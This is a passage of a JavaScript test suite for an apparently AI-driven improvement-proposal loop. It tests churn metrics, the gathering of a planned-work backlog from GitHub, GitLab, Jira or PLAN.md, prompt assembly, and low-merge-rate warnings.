  });

  it('harvests 24h short-lived run counts next to the lifetime duration', async () => {
    const now = Date.now();
    await writeLearning({
      byTaskType: {
        'self-improve:branch-reconcile': {
          completed: 24, succeeded: 24, failed: 0, successRate: 100, avgDurationMs: 90_000,
          recentOutcomes: Array.from({ length: 12 }, (_, i) => ({
            t: new Date(now - i * 10 * 60 * 1000).toISOString(),
            s: true,
            d: 80_000
          }))
        }
      }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    const parsed = JSON.parse(out.cosMetrics);
    expect(parsed['self-improve:branch-reconcile'].recent24hCompleted).toBe(12);
    expect(parsed['self-improve:branch-reconcile'].recent24hShortLived).toBe(12);
    expect(parsed['self-improve:branch-reconcile'].recent24hMedianDurationMs).toBe(80_000);
  });

  it('surfaces an active churn signal to PortOS LI as local evidence, not tracker work', async () => {
    const now = Date.now();
    await writeLearning({
      byTaskType: {
        'self-improve:branch-reconcile': {
          completed: 12, succeeded: 12, failed: 0, successRate: 100, avgDurationMs: 80_000,
          recentOutcomes: Array.from({ length: 12 }, (_, i) => ({
            t: new Date(now - i * 10 * 60 * 1000).toISOString(),
            s: true,
            d: 80_000
          }))
        }
      }
    });
    const portos = await gatherSources(
      { repoPath: dir },
      { sources: { cosMetrics: true } },
      { cosPath: dir, isPortos: true }
    );
    const parsed = JSON.parse(portos.cosMetrics);
    expect(parsed['self-improve:branch-reconcile'].churn).toMatchObject({
      signal: 'short-lived-burst',
      windowCompleted: 12,
      shortLivedCount: 12,
      shortLivedSampleSize: 12
    });
    expect(portos.churnSignals).toContain('Instance-local CoS churn signals');
    expect(portos.churnSignals).toContain('concrete planned fix');

    const managed = await gatherSources(
      { repoPath: dir },
      { sources: { cosMetrics: true } },
      { cosPath: dir, isPortos: false }
    );
    expect(managed.churnSignals).toBeUndefined();
    expect(JSON.parse(managed.cosMetrics)['self-improve:branch-reconcile'].churn).toBeUndefined();
  });

  it('renders only active churn entries and caps the signal list', () => {
    const rendered = renderChurnSignals({
      calm: { lifetimeCompleted: 2 },
      noisy: { churn: { signal: 'short-lived-burst', windowCompleted: 8, windowMs: 1000, shortLivedCount: 8, shortLivedSampleSize: 8, medianDurationMs: 20, medianGapMs: 30 } },
      noisy2: { churn: { signal: 'rapid-succession', windowCompleted: 9, windowMs: 1000, shortLivedCount: 0, shortLivedSampleSize: 0, medianDurationMs: null, medianGapMs: 30 } }
    }, { maxItems: 1 });
    expect(rendered).toContain('noisy');
    expect(rendered).not.toContain('noisy2');
    expect(rendered).not.toContain('calm');
    expect(rendered).toContain('additional churn signal(s) omitted');
  });

  it('does not emit scopeGuidance when cosMetrics is off (#2760)', async () => {
    await writeLearning({
      byTaskType: { 'accessibility': { completed: 4, succeeded: 0, failed: 4, successRate: 0, recentOutcomes: [] } }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: false } }, { cosPath: dir, isPortos: true });
    expect(out.scopeGuidance).toBeUndefined();
  });
});

// ---------------------------------------------------------------------------
// plannedWork source (#2698) — the committed backlog fed to the reasoner so it
// can suppress a proposal that overlaps work already in scope.
// ---------------------------------------------------------------------------

describe('normalizeIssueLabels', () => {
  it('reads gh label objects and glab label strings alike', () => {
    expect(normalizeIssueLabels([{ name: 'plan' }, { name: 'p1' }])).toEqual(['plan', 'p1']);
    expect(normalizeIssueLabels(['plan', 'p1'])).toEqual(['plan', 'p1']);
  });

  it('drops junk rather than rendering [object Object] into the prompt', () => {
    expect(normalizeIssueLabels([{ color: 'red' }, null, '', '  ', 42, { name: ' ok ' }])).toEqual(['ok']);
  });

  it('returns [] for a non-array (never throws)', () => {
    expect(normalizeIssueLabels(undefined)).toEqual([]);
    expect(normalizeIssueLabels('plan')).toEqual([]);
  });
});

describe('extractIssuePriority', () => {
  it('reads the common priority label conventions', () => {
    expect(extractIssuePriority(['bug', 'priority: high'])).toBe('high');
    expect(extractIssuePriority(['priority/critical'])).toBe('critical');
    expect(extractIssuePriority(['P0'])).toBe('p0');
    expect(extractIssuePriority(['high-priority'])).toBe('high');
    expect(extractIssuePriority([{ name: 'low' }])).toBe('low');
  });

  it('returns null when no label looks like a priority (absent ≠ p0)', () => {
    expect(extractIssuePriority(['plan', 'enhancement'])).toBeNull();
    expect(extractIssuePriority([])).toBeNull();
    expect(extractIssuePriority(undefined)).toBeNull();
    // A near-miss must not be coerced into a priority.
    expect(extractIssuePriority(['p9', 'priority'])).toBeNull();
  });
});

describe('extractPlannedPlanItems', () => {
  it('extracts unchecked items only — a done item is not pending work', () => {
    const plan = [
      '# Plan',
      '## Next Up',
      '- [ ] Add a widget',
      '- [x] Already shipped',
      '* [ ] Star bullet item',
      'not a list item'
    ].join('\n');
    expect(extractPlannedPlanItems(plan).map(i => i.title)).toEqual(['Add a widget', 'Star bullet item']);
  });

  it('collapses whitespace and yields the planned-item shape', () => {
    expect(extractPlannedPlanItems('- [ ]   Do    the   thing  ')[0]).toEqual({
      number: null, title: 'Do the thing', labels: [], priority: null
    });
  });

  it('returns [] for a non-string or an empty/checkbox-less plan', () => {
    expect(extractPlannedPlanItems(null)).toEqual([]);
    expect(extractPlannedPlanItems('# Plan\n\nJust prose.')).toEqual([]);
    // A checkbox with no text is not an item.
    expect(extractPlannedPlanItems('- [ ]   ')).toEqual([]);
  });
});

describe('formatPlannedWork', () => {
  it('renders number, title, priority and labels', () => {
    const out = formatPlannedWork([{ number: 12, title: 'Ship X', labels: ['plan', 'p1'], priority: 'p1' }]);
    expect(out).toContain('- #12 Ship X');
    expect(out).toContain('priority: p1');
    expect(out).toContain('labels: plan, p1');
  });

  it('omits the priority/labels parens when there is nothing to say', () => {
    const out = formatPlannedWork([{ number: null, title: 'Bare item', labels: [], priority: null }]);
    const itemLine = out.split('\n').find(l => l.startsWith('- '));
    expect(itemLine).toBe('- Bare item');
  });

  it('reports the FULL count when truncating so a partial list never reads as the whole backlog', () => {
    const many = Array.from({ length: 40 }, (_, n) => ({ number: n + 1, title: `Item ${n + 1}`, labels: [], priority: null }));
    const out = formatPlannedWork(many);
    expect(out).toContain('40 items');
    expect(out).toContain(`showing the top ${PLANNED_WORK_MAX_ITEMS}`);
    expect(out).toContain('- #15 Item 15');
    expect(out).not.toContain('Item 16');
  });

  it('bounds the rendered block', () => {
    const many = Array.from({ length: 15 }, (_, n) => ({ number: n, title: 'x'.repeat(2000), labels: [], priority: null }));
    expect(formatPlannedWork(many).length).toBeLessThanOrEqual(8000);
  });

  it('says "nothing planned" EXPLICITLY for a real empty result (not an omitted block)', () => {
    expect(formatPlannedWork([])).toBe(PLANNED_WORK_NONE);
    expect(formatPlannedWork(undefined)).toBe(PLANNED_WORK_NONE);
    expect(PLANNED_WORK_NONE).toContain('read successfully');
  });
});

describe('plannedWorkUnavailable', () => {
  it('tells the reasoner NOT to read a failed read as "nothing planned"', () => {
    const msg = plannedWorkUnavailable('the gh issue list failed');
    expect(msg).toContain('could NOT be read');
    expect(msg).toContain('the gh issue list failed');
    // The whole point of the sentinel: it must be distinguishable from the
    // legitimately-empty rendering.
    expect(msg).not.toBe(PLANNED_WORK_NONE);
  });
});

describe('hasPlannedWorkListing', () => {
  it('is true only for a real backlog listing', () => {
    expect(hasPlannedWorkListing('2 item(s) of actively-planned work:\n- #3 Ship X')).toBe(true);
  });

  it('is false for BOTH sentinels — neither is a backlog to go review', () => {
    // "nothing is planned" and "could not be read" both render in the prompt and
    // both mean something, but telling the reasoner "review the plannedWork source
    // — you may be overlapping committed work" under either is a contradiction.
    expect(hasPlannedWorkListing(PLANNED_WORK_NONE)).toBe(false);
    expect(hasPlannedWorkListing(plannedWorkUnavailable('the gh issue list failed'))).toBe(false);
  });

  it('is false for an absent / blank / non-string source', () => {
    expect(hasPlannedWorkListing(undefined)).toBe(false);
    expect(hasPlannedWorkListing(null)).toBe(false);
    expect(hasPlannedWorkListing('   ')).toBe(false);
    expect(hasPlannedWorkListing(['#3'])).toBe(false);
  });

  it('tracks the sentinels through their constructors (no drifting copy of the text)', () => {
    expect(plannedWorkUnavailable('x').startsWith(PLANNED_WORK_UNAVAILABLE_PREFIX)).toBe(true);
  });
});

describe('plannedWorkJql', () => {
  it('filters to not-Done plan-labeled tickets and orders by priority', () => {
    const jql = plannedWorkJql('PROJ');
    expect(jql).toContain('project = "PROJ"');
    expect(jql).toContain('statusCategory != Done');
    expect(jql).toContain('ORDER BY priority DESC');
  });

  it('filters on the plan label — parity with the forge, not "every open ticket"', () => {
    // Without this the source would return the whole untriaged backlog under a
    // header claiming the user committed to it, and tell the reasoner to suppress
    // against essentially the entire tracker.
    expect(plannedWorkJql('PROJ')).toContain(`labels = "${PLANNED_WORK_LABEL}"`);
  });

  it('does NOT reference openSprints or filter on priority NAMES (both hard-400 on some projects)', () => {
    const jql = plannedWorkJql('PROJ');
    expect(jql).not.toContain('openSprints');
    expect(jql).not.toContain('priority in');
  });

  it('escapes the project key', () => {
    expect(plannedWorkJql('A"B')).toContain('A\\"B');
  });
});

describe('gatherPlannedWork', () => {
  it('forge: queries the plan label + open state and summarizes with derived priority', async () => {
    const listForge = vi.fn().mockResolvedValue({
      ok: true,
      issues: [
        { number: 3, title: 'Planned A', state: 'open', labels: ['plan', 'priority: high'] },
        { number: 4, title: 'Planned B', state: 'open', labels: ['plan'] }
      ]
    });
    const out = await gatherPlannedWork({ filer: 'forge', forgeCli: 'gh', cwd: '/repo', listForge });
    expect(listForge).toHaveBeenCalledWith({ cli: 'gh', cwd: '/repo', label: PLANNED_WORK_LABEL, state: 'open' });
    expect(out).toContain('- #3 Planned A');
    expect(out).toContain('priority: high');
    expect(out).toContain('- #4 Planned B');
  });

  it('forge: filters out a closed issue the tracker still returned', async () => {
    const listForge = vi.fn().mockResolvedValue({
      ok: true,
      issues: [
        { number: 3, title: 'Open one', state: 'open', labels: [] },
        { number: 5, title: 'Done one', state: 'closed', labels: [] }
      ]
    });
    const out = await gatherPlannedWork({ filer: 'forge', forgeCli: 'glab', cwd: '/repo', listForge });
    expect(out).toContain('Open one');
    expect(out).not.toContain('Done one');
    expect(out).toContain('1 item(s)');
  });

  it('forge: a FAILED read renders the unavailable sentinel, NOT "nothing planned"', async () => {
    const listForge = vi.fn().mockResolvedValue({ ok: false, issues: [] });
    const out = await gatherPlannedWork({ filer: 'forge', forgeCli: 'gh', cwd: '/repo', listForge });
    expect(out).toContain('could NOT be read');
    expect(out).not.toBe(PLANNED_WORK_NONE);
  });

  it('forge: a SUCCESSFUL empty read renders "nothing planned" (distinct from a failure)', async () => {
    const listForge = vi.fn().mockResolvedValue({ ok: true, issues: [] });
    expect(await gatherPlannedWork({ filer: 'forge', forgeCli: 'gh', cwd: '/repo', listForge })).toBe(PLANNED_WORK_NONE);
  });

  it('jira: uses the planned-work JQL, requests the priority field, and prefers it over labels', async () => {
    const listJira = vi.fn().mockResolvedValue({
      ok: true,
      issues: [{ number: 'PROJ-9', title: 'Jira item', state: 'open', labels: ['low'], priority: 'Highest' }]
    });
    const out = await gatherPlannedWork({
      filer: 'jira', jira: { instanceId: 'i1', projectKey: 'PROJ' }, listJira
    });
    const arg = listJira.mock.calls[0][0];
    expect(arg.jql).toBe(plannedWorkJql('PROJ'));
    expect(arg.searchOptions.fields).toContain('priority');
    // Jira's real priority field wins over the label-derived fallback.
    expect(out).toContain('priority: Highest');
    expect(out).toContain('- #PROJ-9 Jira item');
  });

  it('jira: falls back to a label-derived priority when the field is absent', async () => {
    const listJira = vi.fn().mockResolvedValue({
      ok: true,
      issues: [{ number: 'PROJ-9', title: 'J', state: 'open', labels: ['p2'], priority: null }]
    });
    const out = await gatherPlannedWork({ filer: 'jira', jira: { instanceId: 'i1', projectKey: 'PROJ' }, listJira });
    expect(out).toContain('priority: p2');
  });

  it('jira: a FAILED search renders the unavailable sentinel', async () => {
    const listJira = vi.fn().mockResolvedValue({ ok: false, issues: [] });
    const out = await gatherPlannedWork({ filer: 'jira', jira: { instanceId: 'i1', projectKey: 'PROJ' }, listJira });
    expect(out).toContain('could NOT be read');
  });

  it('returns null when the tracker coords are unusable (source simply does not apply)', async () => {
    expect(await gatherPlannedWork({ filer: 'forge', forgeCli: null, cwd: '/repo' })).toBeNull();
    expect(await gatherPlannedWork({ filer: 'jira', jira: null })).toBeNull();
    expect(await gatherPlannedWork({ filer: 'plan', cwd: null })).toBeNull();
    expect(await gatherPlannedWork({})).toBeNull();
  });

  describe('plan tracker', () => {
    let dir;
    beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-planned-')); });
    afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

    it('summarizes PLAN.md unchecked items', async () => {
      await writeFile(join(dir, 'PLAN.md'), '# P\n- [ ] Committed thing\n- [x] Done thing\n');
      const out = await gatherPlannedWork({ filer: 'plan', cwd: dir });
      expect(out).toContain('- Committed thing');
      expect(out).not.toContain('Done thing');
    });

    it('an ABSENT PLAN.md is a real "nothing planned"', async () => {
      expect(await gatherPlannedWork({ filer: 'plan', cwd: dir })).toBe(PLANNED_WORK_NONE);
    });

    it('a PRESENT-but-unreadable PLAN.md is a FAILURE, not "nothing planned"', async () => {
      await writeFile(join(dir, 'PLAN.md'), '- [ ] x');
      // tryReadFile collapses every failure to null; the existsSync probe is what
      // keeps "unreadable" from masquerading as "no plan at all".
      const out = await gatherPlannedWork({ filer: 'plan', cwd: dir, readFileFn: async () => null });
      expect(out).toContain('could NOT be read');
      expect(out).not.toBe(PLANNED_WORK_NONE);
    });
  });
});

describe('gatherSources plannedWork wiring (#2698)', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-pw-src-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  it('gathers plannedWork when the source is on and a tracker is supplied', async () => {
    await writeFile(join(dir, 'PLAN.md'), '- [ ] Committed thing\n');
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { plannedWork: true } },
      { tracker: { filer: 'plan', cwd: dir } }
    );
    expect(out.plannedWork).toContain('Committed thing');
  });

  it('skips plannedWork when the source is off', async () => {
    await writeFile(join(dir, 'PLAN.md'), '- [ ] Committed thing\n');
    const out = await gatherSources(
      { repoPath: dir },
      { sources: { plannedWork: false } },
      { tracker: { filer: 'plan', cwd: dir } }
    );
    expect(out.plannedWork).toBeUndefined();
  });

  it('skips plannedWork when no tracker context was resolved', async () => {
    await writeFile(join(dir, 'PLAN.md'), '- [ ] Committed thing\n');
    const out = await gatherSources({ repoPath: dir }, { sources: { plannedWork: true } });
    expect(out.plannedWork).toBeUndefined();
  });

  it('is on by default for every app', () => {
    expect(defaultLayeredIntelligenceConfig(false).sources.plannedWork).toBe(true);
    expect(defaultLayeredIntelligenceConfig(true).sources.plannedWork).toBe(true);
  });

  it('reaches an existing install that stored sources before the key existed', () => {
    // getEffectiveConfig spreads defaults under stored sources, so no migration
    // is needed for the new key — but an explicit opt-out must still survive.
    const stored = { layeredIntelligence: { sources: { goals: false } } };
    expect(getEffectiveConfig(stored).sources.plannedWork).toBe(true);
    const optedOut = { layeredIntelligence: { sources: { plannedWork: false } } };
    expect(getEffectiveConfig(optedOut).sources.plannedWork).toBe(false);
  });
});

describe('buildPrompt plannedWork block (#2698)', () => {
  const app = { name: 'App' };
  const config = { allowedScopes: ['app-improvement'], sources: {} };

  it('renders the block with the cross-reference guidance attached', () => {
    const p = buildPrompt({ app, config, sources: { plannedWork: '1 item(s):\n- #3 Ship X' } });
    expect(p).toContain('### plannedWork');
    expect(p).toContain('- #3 Ship X');
    expect(p).toContain(PLANNED_WORK_GUIDANCE);
    expect(p).toContain('DO NOT file — return proposal: null');
  });

  it('renders plannedWork ONCE — not also inside the generic source list', () => {
    const p = buildPrompt({ app, config, sources: { goals: 'be great', plannedWork: 'PLANNED BACKLOG' } });
    expect(p.match(/### plannedWork/g)).toHaveLength(1);
    expect(p).toContain('### goals');
  });

  it('puts the guidance AFTER the backlog it refers to', () => {
    const p = buildPrompt({ app, config, sources: { plannedWork: 'PLANNED BACKLOG' } });
    expect(p.indexOf('PLANNED BACKLOG')).toBeLessThan(p.indexOf(PLANNED_WORK_GUIDANCE));
  });

  it('still surfaces the "could not be read" sentinel to the reasoner', () => {
    const p = buildPrompt({ app, config, sources: { plannedWork: plannedWorkUnavailable('the gh issue list failed') } });
    expect(p).toContain('### plannedWork');
    expect(p).toContain('could NOT be read');
    expect(p).toContain(PLANNED_WORK_GUIDANCE);
  });

  it('omits the block entirely when the source produced nothing', () => {
    expect(buildPrompt({ app, config, sources: { goals: 'g' } })).not.toContain('### plannedWork');
    expect(buildPrompt({ app, config, sources: { plannedWork: '   ' } })).not.toContain('### plannedWork');
  });

  it('does not claim "no sources available" while rendering a populated plannedWork block', () => {
    // plannedWork is excluded from sourceBlocks so its guidance stays anchored —
    // the empty-sources fallback must not therefore contradict the block below it.
    const p = buildPrompt({ app, config, sources: { plannedWork: '1 item(s):\n- #3 Ship X' } });
    expect(p).toContain('- #3 Ship X');
    expect(p).toContain('(no other sources available');
    // Still says the plain thing when there is genuinely nothing at all.
    expect(buildPrompt({ app, config, sources: {} })).toContain('(no sources available');
  });
});

describe('computeOutcomesReport low-merge-rate warning (#2698)', () => {
  const filed = (outcome) => ({ scope: 'app-improvement', outcome });
  const rejected = (n) => Array.from({ length: n }, () => filed('rejected'));

  it('warns and points at plannedWork when the resolved merge rate is below the threshold', () => {
    // 0 of 4 resolved merged → 0% < 20%, and 4 clears the sample floor.
    const report = computeOutcomesReport({ outcomes: [...rejected(3), filed('abandoned')], hasPlannedWork: true });
    expect(report).toContain('WARNING');
    expect(report).toContain('merge rate is critically low');
    expect(report).toContain('plannedWork');
    expect(report).toContain('0 of 4 resolved proposals (0%)');
  });

  it('stays silent when the merge rate is healthy', () => {
    const report = computeOutcomesReport({ outcomes: [filed('merged'), filed('merged'), filed('rejected'), filed('merged')] });
    expect(report).not.toContain('WARNING');
  });

  it('stays silent when NOTHING is resolved yet (pending ≠ rejected)', () => {
    // Filed, all still open: 0 merged of 0 resolved. Dividing by `total` would
    // render 0% and alarm — but nothing has actually failed.
    const report = computeOutcomesReport({ outcomes: [filed(null), filed(null), filed(null), filed(null), filed(null)] });
    expect(report).toContain('Total filed: 5');
    expect(report).not.toContain('WARNING');
  });

  it('measures over resolved proposals, not total (a pending backlog cannot trip it)', () => {
    // 1 merged of 1 resolved = 100% → healthy, despite 1/5 = 20% of total.
    const report = computeOutcomesReport({ outcomes: [filed('merged'), filed(null), filed(null), filed(null), filed(null)] });
    expect(report).not.toContain('WARNING');
  });

  it('stays silent below the sample floor — 0-of-1 is not evidence of a rate', () => {
    // A single early rejection must not tell the loop to stop proposing: it can
    // never earn a merge if it stops filing.
    for (let n = 1; n < LOW_MERGE_RATE_MIN_SAMPLE; n += 1) {
      expect(computeOutcomesReport({ outcomes: rejected(n), hasPlannedWork: true })).not.toContain('WARNING');
    }
    expect(computeOutcomesReport({ outcomes: rejected(LOW_MERGE_RATE_MIN_SAMPLE), hasPlannedWork: true })).toContain('WARNING');
    expect(LOW_MERGE_RATE_MIN_SAMPLE).toBe(4);
  });

  it('fires exactly below the documented threshold', () => {
    // 1 merged of 5 resolved = 20% → NOT below 20 → silent.
    const at = computeOutcomesReport({ outcomes: [filed('merged'), ...rejected(4)] });
    expect(at).not.toContain('WARNING');
    // 1 merged of 6 resolved = 17% → below → warns.
    const below = computeOutcomesReport({ outcomes: [filed('merged'), ...rejected(5)] });
    expect(below).toContain('WARNING');
    expect(LOW_MERGE_RATE_THRESHOLD).toBe(20);
  });

  it('compares the RAW rate — a sub-threshold rate that rounds up still warns', () => {
    // 10 merged of 51 resolved = 19.6% — genuinely below 20, but rounds to 20.
    // Rounding before the comparison would suppress the warning entirely.
    const report = computeOutcomesReport({
      outcomes: [...Array.from({ length: 10 }, () => filed('merged')), ...rejected(41)]
    });
    expect(report).toContain('WARNING');
    // ...while the DISPLAYED figure is still the friendly rounded one.
    expect(report).toContain('10 of 51 resolved proposals (20%)');
  });

  it('does NOT cite a plannedWork block that is not in the prompt', () => {
    // The source is per-app-toggleable and yields nothing on an unresolvable
    // tracker — citing a section that isn't there is just noise.
    const report = computeOutcomesReport({ outcomes: rejected(5), hasPlannedWork: false });
    expect(report).toContain('WARNING');
    expect(report).not.toContain('plannedWork');
    expect(report).toContain('return proposal: null');
  });

  it('still returns "" with no filed history (nothing to calibrate on)', () => {
    expect(computeOutcomesReport({ outcomes: [] })).toBe('');
  });
});

describe('listForgeIssues label/state parameterization (#2698)', () => {
  it('defaults to the LI label across all states', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '[]' });
    await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    const args = exec.mock.calls[0][1];
    expect(args).toContain(LI_LABEL);
    expect(args).toContain('--state');
    expect(args[args.indexOf('--state') + 1]).toBe('all');
  });

  it('queries the requested label + state (gh)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '[]' });
    await listForgeIssues({ cli: 'gh', cwd: '/x', label: 'plan', state: 'open', exec });
    const args = exec.mock.calls[0][1];
    expect(args).toContain('plan');
    expect(args).not.toContain(LI_LABEL);
    expect(args[args.indexOf('--state') + 1]).toBe('open');
    expect(args[args.indexOf('--json') + 1]).toContain('labels');
  });

  it('drops --all for an open-only glab query (glab lists open by default)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '[]' });
    await listForgeIssues({ cli: 'glab', cwd: '/x', label: 'plan', state: 'open', exec });
    expect(exec.mock.calls[0][1]).not.toContain('--all');
    await listForgeIssues({ cli: 'glab', cwd: '/x', exec });
    expect(exec.mock.calls[1][1]).toContain('--all');
  });

  it('normalizes labels from both forges', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([{ number: 1, title: 'A', state: 'open', labels: [{ name: 'plan' }] }])
    });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(issues[0].labels).toEqual(['plan']);
  });

  it('reports [] labels when the forge omits the field (never undefined)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: JSON.stringify([{ number: 1, title: 'A', state: 'open' }]) });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(issues[0].labels).toEqual([]);
  });
});

describe('listJiraIssues jql override (#2698)', () => {
  it('defaults to the LI-label JQL and passes no search options', async () => {
    const search = vi.fn().mockResolvedValue([]);
    await listJiraIssues({ instanceId: 'i1', projectKey: 'PROJ', search });
    expect(search).toHaveBeenCalledWith('i1', expect.stringContaining(`labels = "${LI_LABEL}"`));
  });

  it('uses an explicit jql + search options when given', async () => {
    const search = vi.fn().mockResolvedValue([]);
    await listJiraIssues({
      instanceId: 'i1', projectKey: 'PROJ', jql: 'CUSTOM JQL', searchOptions: { fields: 'summary,priority' }, search
    });
    expect(search).toHaveBeenCalledWith('i1', 'CUSTOM JQL', { fields: 'summary,priority' });
  });

  it('maps priority + labels, and keeps an absent priority null', async () => {
    const search = vi.fn().mockResolvedValue([
      { key: 'PROJ-1', summary: 'A', statusCategory: 'To Do', priority: 'High', labels: ['plan'] },
      { key: 'PROJ-2', summary: 'B', statusCategory: 'To Do' }
    ]);
    const { issues } = await listJiraIssues({ instanceId: 'i1', projectKey: 'PROJ', search });
    expect(issues[0].priority).toBe('High');
    expect(issues[0].labels).toEqual(['plan']);
    expect(issues[1].priority).toBeNull();
    expect(issues[1].labels).toEqual([]);
  });
});